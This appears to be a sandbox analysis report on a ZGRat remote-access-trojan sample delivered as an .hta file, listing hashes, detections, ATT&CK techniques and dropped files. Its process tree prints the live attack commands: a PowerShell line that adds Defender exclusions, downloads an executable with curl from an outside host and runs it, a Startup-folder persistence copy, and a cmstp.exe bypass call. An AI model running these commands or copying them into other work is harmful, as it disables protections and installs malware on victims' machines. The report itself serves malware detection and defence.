zgrat | 355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4

Analysis

max time kernel
131s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/05/2024, 01:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4.hta
Size 9KB
Sample240514-bjkcaadf38
SHA256 355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4
MD5 344020eda12e49be499998ace856ed47
SHA1 f0a7431a73e7cb0be73fbc588bd91cf173f672d3
SHA512 c3a949de4b8d79b84be37d4b4695a7ccde2b2da583ef998442cb0d9a7191756bcf3d67cf5c2da476f3590823177d07355a9151df32c10d259a32bc4f1fea3b90
SSDEEP 192:w1YCCf214wpenCk59zcntnonzcE6LChVg+D0SDs/:w/Cf214UenCkncntnonzcE6kVgmRs/
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

zgrat agilenet execution rat

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/1440-87-0x0000000004970000-0x0000000004A58000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-95-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-93-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-151-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-91-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-127-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-89-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-88-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-149-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-147-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-145-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-143-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-141-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-140-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-137-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-135-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-133-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-131-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-129-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-125-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-123-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-121-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-119-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-118-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-115-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-113-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-111-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-109-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-107-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-105-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-103-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-101-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-99-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-97-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Detects executables packed with Agile.NET / CliSecure 1 IoCs

resource	yara_rule
behavioral2/memory/3100-6787-0x00000000064D0000-0x00000000065A4000-memory.dmp	INDICATOR_EXE_Packed_AgileDotNet

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3244	powershell.exe
5108	Powershell.exe
4920	powershell.exe
4920	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qjnxunle.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qjnxunle.exe	Powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
1440	Kntgugii.exe
560	TypeId.exe
3100	qjnxunle.exe
2316	qjnxunle.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral2/memory/3100-6787-0x00000000064D0000-0x00000000065A4000-memory.dmp	agile_net

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 560 set thread context of 5044	560	TypeId.exe	112
PID 3100 set thread context of 2316	3100	qjnxunle.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
2128	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2316	qjnxunle.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
3244	powershell.exe
3244	powershell.exe
3244	powershell.exe
3244	powershell.exe
4920	powershell.exe
4920	powershell.exe
560	TypeId.exe
560	TypeId.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
5108	Powershell.exe
5108	Powershell.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	1440	Kntgugii.exe
Token: SeDebugPrivilege	2128	taskkill.exe
Token: SeDebugPrivilege	560	TypeId.exe
Token: SeDebugPrivilege	5044	InstallUtil.exe
Token: SeDebugPrivilege	3100	qjnxunle.exe
Token: SeDebugPrivilege	5108	Powershell.exe
Token: SeDebugPrivilege	2316	qjnxunle.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3244	powershell.exe
3244	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 3244	2456	mshta.exe	90
PID 2456 wrote to memory of 3244	2456	mshta.exe	90
PID 2456 wrote to memory of 3244	2456	mshta.exe	90
PID 3244 wrote to memory of 1060	3244	powershell.exe	94
PID 3244 wrote to memory of 1060	3244	powershell.exe	94
PID 3244 wrote to memory of 1060	3244	powershell.exe	94
PID 3244 wrote to memory of 2224	3244	powershell.exe	96
PID 3244 wrote to memory of 2224	3244	powershell.exe	96
PID 3244 wrote to memory of 2224	3244	powershell.exe	96
PID 2224 wrote to memory of 4252	2224	csc.exe	97
PID 2224 wrote to memory of 4252	2224	csc.exe	97
PID 2224 wrote to memory of 4252	2224	csc.exe	97
PID 3900 wrote to memory of 4920	3900	DllHost.exe	99
PID 3900 wrote to memory of 4920	3900	DllHost.exe	99
PID 3900 wrote to memory of 4920	3900	DllHost.exe	99
PID 4920 wrote to memory of 4736	4920	powershell.exe	102
PID 4920 wrote to memory of 4736	4920	powershell.exe	102
PID 4920 wrote to memory of 4736	4920	powershell.exe	102
PID 4920 wrote to memory of 1440	4920	powershell.exe	104
PID 4920 wrote to memory of 1440	4920	powershell.exe	104
PID 4920 wrote to memory of 1440	4920	powershell.exe	104
PID 3900 wrote to memory of 2128	3900	DllHost.exe	105
PID 3900 wrote to memory of 2128	3900	DllHost.exe	105
PID 3900 wrote to memory of 2128	3900	DllHost.exe	105
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 3100 wrote to memory of 5108	3100	qjnxunle.exe	114
PID 3100 wrote to memory of 5108	3100	qjnxunle.exe	114
PID 3100 wrote to memory of 5108	3100	qjnxunle.exe	114
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -File C:\Users\Public\sWRA.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\SysWOW64\cmstp.exe
    "cmstp.exe" C:\Users\Public\config.inf /au
    3⤵
    PID:1060
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4A3.tmp" "c:\Users\Admin\AppData\Local\Temp\gttjsnwf\CSC767320E3ED2646A296D16AA292D88981.TMP"
      4⤵
      PID:4252

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy UnRestricted -WindowStyle Hidden Add-MpPreference -ExclusionPath $env:PUBLIC,'C:\';Add-MpPreference -ExclusionExtension '.exe';curl.exe 'http://relay-02-static.network/rkei/Kntgugii.exe' -o ($env:PUBLIC + '\Kntgugii.exe');start ($env:PUBLIC + '\Kntgugii.exe')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\SysWOW64\curl.exe
    "C:\Windows\system32\curl.exe" http://relay-02-static.network/rkei/Kntgugii.exe -o C:\Users\Public\Kntgugii.exe
    3⤵
    PID:4736
- - C:\Users\Public\Kntgugii.exe
    "C:\Users\Public\Kntgugii.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1440
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=2856,i,2607710392823067546,4648797561512801463,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:8
1⤵
PID:4732

C:\Users\Admin\AppData\Local\FrameworkDisplayName\lrqzysar\TypeId.exe
C:\Users\Admin\AppData\Local\FrameworkDisplayName\lrqzysar\TypeId.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:560
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5044

C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
  "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qjnxunle.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
  "C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 52117555684871e6ffb8392082b5fd7268149bf6ca1760f1b317a6ed6ab93aa2
MD5 e20c25c6796223e69094518c14e3d538
SHA1 61351cd1c57ca100ea78f52701f9ee68eb5cdf97
SHA512 b049eb07ad1de2c86d39ff723e51946ec14cfcb356ef1072c2a3e13c69d3a53cfd775c00b46612a6629dc9154ffb7565f495bbe640a8cc9d3f36afc27e5c4288
MD5 SHA1 SHA512

Submit Download

qjnxunle.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qjnxunle.exe.log
Size 1KB
SHA256 7d3800257c46946cef2203244847520f0e16db338db8032ced936e1a56f9da9c
MD5 0558c1421c8055b48ee469af53aa6c85
SHA1 5fbb01847adc3c4b3a67bd50db083357d6bc4efa
SHA512 6e8ad527620ba26bdf7786241e2c1c223aa88ddbe23445d75b44644f423c153436aacdf31394e9d10479b9f308a7dd89188695875b753e6fc71ae95ee7b79817
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 549e60c62942399f89747f4bffc8d535af9cf2017c5574755453a73f05b0e702
MD5 8a6fcd3c515c2a8d164ed094e3042c68
SHA1 285521cabe4e0fd8072a05f4da8bb6a910c57ca7
SHA512 38969e2f544ec259b6795aa154769ac017e536b9317f88432516a102cfbf17b2f30c1eea6bd21a1cc199028890256dc80895f2a368ef70889a361bf9cdfdd085
SSDEEP 384:5qrf+hrGzo9i+GTL/naW4k2jehJk+o9o07TvK6seYgFzq9/OEIzmXe/0p3l6+Hl0:+fCGFT7aNk26gjo07TvNJ29GJmHrNF1a
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 6e8dff293be08a6fd029ec7183dd57afee7e7aa66bdb5ba9d4446d422f221a91
MD5 bb6ba6f58b58e2b08da9371a8cf2423a
SHA1 9e8b71e244dec02b5f79141ce26cfffed98a6cb2
SHA512 6e56800be1499a8bab8332860ffe0a2617522c58c30693dd4b90449096ca34663775b2efbb5b4b3362e37d9334d69b34e748ab1893a13abff06bb46d00bec59b
SSDEEP 384:nsf+B2nk1Mavve1v+kAUZ9oDZAiY1fYo7YApS1fC9ddoz7SnL+njVDhPKv:sff2ManyVAKo9AiUc5C9foznjnI
MD5 SHA1 SHA512 SSDEEP

Submit Download

RESE4A3.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESE4A3.tmp
Size 1KB
SHA256 e7af8a0fcbb597acaa52aefc57328cad1e5fdd6d07437b98fe496bf31893bdd5
MD5 10b4f7d7f4bf9b75b8e96fa46b283cf8
SHA1 5348d24103e9ce375d607db65389b4e979bdbdf5
SHA512 3b5178897b2ad5b7b3228226badc73ec26186a0ec685956202fc93b21527cde9c7bb57571f86a039b5ffcb9df60e4098becc84081958e57bd54ef3c46ebc0f5f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_oeuqmuui.oqs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oeuqmuui.oqs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

gttjsnwf.dll

Path C:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.dll
Size 3KB
SHA256 8befc5a312e8a2c2de04fe643f99537b1271498d022113906a71aa1094bcf5c0
MD5 048fa7a554eb37eb3edf226b8944275a
SHA1 bfac98fbc5133d7bfb90627179dc24f1103de7aa
SHA512 358ea5f29d14ea3cc9c505eded02f9951bbe12644d9a37912d5ca48e2f6b68348ad63f193a496b674ae5936a906ae887edd1790c6bdf836fb061325076a50961
MD5 SHA1 SHA512

Submit Download

qjnxunle.exe

Path C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
Size 26KB
SHA256 aae9e126f03798f15445e8f308bbf43e9bda6a9e1ffaa9fe2dfd75eb65fef74c
MD5 1f90151f3470f316a645a6617534a0be
SHA1 80dd3641418ff22c353b2d1f0f4c86990cfdaee1
SHA512 5609219d6a7ece553032589d9765e7fcf394253fa4df5d64539e231a4350bf9c8b3bfd2ec5ca1904a6584b793f3a174353261e23983f7ac428b7957379eccbcf
SSDEEP 384:YJwutFK4KLt/WFg46SL4E3y3jBPc3jrUGjC/8wLSV6f3pRLXjjF:kFK4ueF/xAWj4YCEUSK9jjF
MD5 SHA1 SHA512 SSDEEP

Submit Download

Kntgugii.exe

Path C:\Users\Public\Kntgugii.exe
Size 594KB
SHA256 3f352445c521895812735acebb5f944cd1e88024cade5b201c562166619ffc9f
MD5 f5fe6435df7702338b1320b55f96caa4
SHA1 fab2bbc6e43cc01217673b2753e223099c3c297f
SHA512 4c355979435dc7519c4e4ee1a9ff6ad4be9cabcaa6b376473b039fcd785837689f16662e680b196f2b74ec689ff894175a2892206f1883e6e22ca89a292a6fab
SSDEEP 12288:Ta+kA8UkbVvyhzR8OQtgR64Hh4oPRSviJFwuHnOr387dPex:FFgkh21gR3JSviJFbnOz87dPe
MD5 SHA1 SHA512 SSDEEP

Submit Download

config.inf

Path C:\Users\Public\config.inf
Size 793B
SHA256 2fb41b2fc5e9a70f7f4b5c4338306b0ad7b6e9a46921c11bb99a24b3f856c99c
MD5 9551f37d1c321b89594ce33dd5c4a166
SHA1 dbde6afe056ffa89f57b3d817767305533ffc723
SHA512 4fcea7fb0a6fbcbcd1e332c6f41fd0cf7cd5c0635ba798950cfc590aeff89166b5ea26f72fce98af1b7664165e3b91bcade06a072685d0f04ec22195d006f7e8
MD5 SHA1 SHA512

Submit Download

sWRA.ps1

Path C:\Users\Public\sWRA.ps1
Size 980B
SHA256 9cf9a284d8520457baa6bbc513174c60744a9ed5662740b92052bb809c72fc6c
MD5 cdf55a34ebd80623d6ec05b2f0a42c19
SHA1 9a226bd3e721bc082529a74bd7be39787d427538
SHA512 96e5007617cfe375fd268ed534a6726e0d77a28134e780d20bac69c9918c7662d1704a1fc3f16f517d705ecbec35913cfaf34f7067e280fa8c9302e43b5a41c1
MD5 SHA1 SHA512

Submit Download

CSC767320E3ED2646A296D16AA292D88981.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\CSC767320E3ED2646A296D16AA292D88981.TMP
Size 652B
SHA256 6f28ae4f2a91c119d08df0cc2a8b614b0e782975ce6dfd015217c47509f7b499
MD5 0f9583a71d856ed9be60e255f729a163
SHA1 aacdb54455be836dfbbbc1a70e0e7dd90b9c432a
SHA512 365a2df0955bdeef61fee0539553b1bbdce4450cf19afc1f32cec48f48fb538cb7af9fde466f2983a9c5d2ea2513f16d5cbb748bdc3b6791823fb8635f14204c
MD5 SHA1 SHA512

Submit Download

gttjsnwf.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.0.cs
Size 319B
SHA256 f52036306d49ca5bc0c58242a311526e4d045dcd070b0981db503da5e3a55212
MD5 f3c09788c53ec7b12e03c328440a57fc
SHA1 898711631c676136cc0576370c705d5bb38df060
SHA512 cdddd3ffe6563bcd0ff53973b3a3fe7aca3939b77dcb3fcc2e56d93c9f0727a0d5ffa550a21923ffa8a446da589d68a6c26674068bf75233421452a153b9e1ce
MD5 SHA1 SHA512

Submit Download

gttjsnwf.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.cmdline
Size 369B
SHA256 b209a30374484fb3fb5b4f21facb78065a6a2d2c0f2156b87581ce8f404ccf63
MD5 c66457d454b06b42555e161e11c4a68b
SHA1 c74efed01b8a9dee04678540ae6efc8329a0277b
SHA512 f1539f00aaaedf0de9ec85b851db0c0c2c40a763795bd1ab1e9656f95dd6d4701a67a5155e1a4358ad901e070221f5237f3a809b629623b720cbede0d9a4b276
MD5 SHA1 SHA512

Submit Download

memory/1440-93-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-107-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-2318-0x00000000051F0000-0x0000000005244000-memory.dmp

Download

memory/1440-2317-0x0000000004BD0000-0x0000000004C1C000-memory.dmp

Download

memory/1440-2316-0x0000000004B70000-0x0000000004BC6000-memory.dmp

Download

memory/1440-97-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-99-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-101-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-103-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-105-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-109-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-111-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-113-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-115-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-118-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-119-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-121-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-123-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-125-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-129-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-131-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-133-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-135-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-137-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-140-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-141-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-143-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-145-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-147-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-86-0x0000000000120000-0x00000000001BA000-memory.dmp

Download

memory/1440-87-0x0000000004970000-0x0000000004A58000-memory.dmp

Download

memory/1440-95-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-149-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-151-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-91-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-127-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-89-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/1440-88-0x0000000004970000-0x0000000004A52000-memory.dmp

Download

memory/2316-7662-0x00000000057F0000-0x0000000005846000-memory.dmp

Download

memory/2316-6809-0x00000000055B0000-0x0000000005676000-memory.dmp

Download

memory/2316-6808-0x0000000000400000-0x00000000004A8000-memory.dmp

Download

memory/3100-6785-0x00000000009B0000-0x00000000009BC000-memory.dmp

Download

memory/3100-6789-0x0000000006940000-0x00000000069DC000-memory.dmp

Download

memory/3100-6788-0x00000000066A0000-0x00000000066BE000-memory.dmp

Download

memory/3100-6787-0x00000000064D0000-0x00000000065A4000-memory.dmp

Download

memory/3100-6786-0x00000000054F0000-0x0000000005566000-memory.dmp

Download

memory/3244-24-0x00000000065D0000-0x00000000065EA000-memory.dmp

Download

memory/3244-23-0x00000000076D0000-0x0000000007D4A000-memory.dmp

Download

memory/3244-6-0x00000000722D0000-0x0000000072A80000-memory.dmp

Download

memory/3244-3-0x0000000004AC0000-0x0000000004AF6000-memory.dmp

Download

memory/3244-4-0x00000000722D0000-0x0000000072A80000-memory.dmp

Download

memory/3244-7-0x00000000051E0000-0x0000000005202000-memory.dmp

Download

memory/3244-5-0x0000000005280000-0x00000000058A8000-memory.dmp

Download

memory/3244-8-0x0000000005960000-0x00000000059C6000-memory.dmp

Download

memory/3244-47-0x00000000722D0000-0x0000000072A80000-memory.dmp

Download

memory/3244-44-0x00000000075F0000-0x00000000075FA000-memory.dmp

Download

memory/3244-43-0x0000000007600000-0x0000000007692000-memory.dmp

Download

memory/3244-9-0x0000000005A80000-0x0000000005AE6000-memory.dmp

Download

memory/3244-2-0x00000000722DE000-0x00000000722DF000-memory.dmp

Download

memory/3244-19-0x0000000005AF0000-0x0000000005E44000-memory.dmp

Download

memory/3244-41-0x00000000074A0000-0x00000000074A8000-memory.dmp

Download

memory/3244-20-0x0000000006080000-0x000000000609E000-memory.dmp

Download

memory/3244-21-0x00000000060D0000-0x000000000611C000-memory.dmp

Download

memory/3244-26-0x0000000008300000-0x00000000088A4000-memory.dmp

Download

memory/3244-28-0x0000000007450000-0x0000000007472000-memory.dmp

Download

memory/3244-27-0x00000000074B0000-0x0000000007546000-memory.dmp

Download

